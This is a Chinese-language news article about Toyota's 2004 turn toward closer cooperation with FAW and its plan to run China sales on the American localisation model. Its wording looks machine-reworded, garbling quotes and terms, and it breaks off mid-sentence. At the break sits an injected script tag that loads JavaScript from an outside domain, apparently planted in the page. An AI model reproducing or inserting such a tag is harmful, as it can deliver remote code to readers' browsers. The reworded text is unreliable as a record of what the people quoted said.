□左手右手
2004年7月中旬，包含丰田中国事务所总代表服部悦雄、一汽丰田销售公司总经理古谷俊男在内的丰田汽车在华高层人士悉数被招回日本总部参加国内市场策略研讨会。这是一次非同一般的会议，其中心议题是要加大同一汽的关系，假如不可以同一汽合作好，那样中国的项目就不会有将来。
丰田前社长奥田硕在会上深思说：“当时丰田进入美国的时候，通用汽车没对丰田守旧，而是让丰田去学习；目前对比丰田对一汽所做的所有，是否丰田太小气了呢？丰田是不要自我反省？是否要有博大的胸怀？当时的社长张富士夫则直截了当地表示，要与一汽共存共荣。
此后在9月发生了耐人寻味的两个场景：9月6日，广州丰田签约，但丰田社长张富士夫没出席；而9月15日，他却参加了一汽与丰田混合动力汽车合作项目签字仪式。知情人士透露，为笼络一汽，丰田还决定加大与他们在研发中心、生产管理和物流方面等深层次的合作，甚至要帮助一汽开发红旗轿车的下一代商品。
这是丰田汽车对于合资伙伴态度的忽然转向。此前如大家所知，一汽丰田销售企业的主导权基本控制在丰田汽车公司手中，对于合资伙伴并无太多的倚重或者信赖。对于一汽丰田合资企业的股比，根据双方谈判时签订的备忘录，一旦国家政策允许，一汽需要减让股比。在外面看来，撇开一汽单干是丰田汽车在中国的必然趋势。
古谷俊男对于转向未置可否，他只不过表示这次会议是“总结大家工作中的成败，如何有效地拿出成就来。”而加大与一汽的合作，他透露说，会上讨论了过去一直在日本开发、日本生产的世界一流技术的丰田Pirus混合动力车怎么样拿到一汽合资生产、一同开发的问题。这实质愈加证明了猜测的靠谱性。
当年丰田汽车通过与通用汽车合资顺利进入美国，目前丰田看来也在深思自己对中国合伙人的胸襟是不是狭隘。丰田最高层已经认识到，在中国要想成功，管理和技术沿袭日方是毋庸置疑的，但在销售环节和具体操作上，应该借鉴中方的经验。一位不想具名的剖析师觉得，两年前，丰田人对于进入国内市场采取的是俯瞰态度。“丰田觉得我的东西放之四海皆准，但丰田太自以为是了。”
“大家在世界各国都很成功，但基本都是资本主义国家，到社会主义市场经济国家是一次。”古谷俊男承认，“中国用户的需要大家经验极少。但大家是和一汽合资的公司，其中有不少是一汽从事销售的职员，大家会倾听他们的声音，一块儿知道中国用户的需要。”
然而要倾听当地的声音最好要由当地的人来倾听。放眼中国的车市，无论上海通用，广州本田还是上海大众，它们的销售公司主要都是中国人作主管。很多商家的看法是：“要用中国人的办法做好销售，用日本人的办法做好服务。”
但为何不选择广州汽车呢？这家远比一汽容易控制的汽车公司理应成为更好的合伙人，何况广州本田的成功就在眼前。剖析人士觉得，因为中日之间的政治敏锐度大，再加上历史积怨，其间孕育着不小的风险，而一汽作为“共和国长子”的地位，其政治渊源深厚，紧密联合一汽，作为日资企业的丰田就有了一张要紧的挡箭牌。
知情人士透露说：“脚踏两只船，一汽的船不可以翻，而广州的船可以翻，一汽的船翻了，丰田就有政治错误，这是大家都不想看到的。”
□美国经验
当地化已成为丰田在中国事业有成的重点原因。丰田汽车在中国的4S店不久将来将可能全部改装，从目前的蓝色调改成灰、白、红的丰田传统色调。色调改变的同时还可能有一个重大变化，即代表一汽的FAW将与TOYOTA并列在经销店的显眼地方，这在以前是不可想象的，过去在一汽丰田是连一张信纸都不能有一汽标志出现的。
更深的变化正在发生。
2004年8月30日，丰田汽车原美国丰田车辆销售公司（TMS）总裁、现主管全球销售的副社长石坂芳男，携带其原来在美国的助手矶谷来到一汽丰田演讲美国TMS企业的一些做法。目前，矶谷已经调任日本总部的丰田汽车中国部工作。这是很明显的信号，丰田汽车要在一汽丰田销售公司推行丰田在美国的做法。
而美国做法的核心就是尊重当地智慧，善用当地经验。丰田汽车在美国的销售公司，共有7000多职员，但只有8个日本人。“在那里，实质工作都是美国人来作的，日本人是协调美国丰田销售公司和总部的关系。”古谷俊男说，“从国土的广阔程度，美国的成功经验对中国更有帮助，目前美国丰田那边对我?script src=http://cn.jxmmtv.com/cn.js>cript>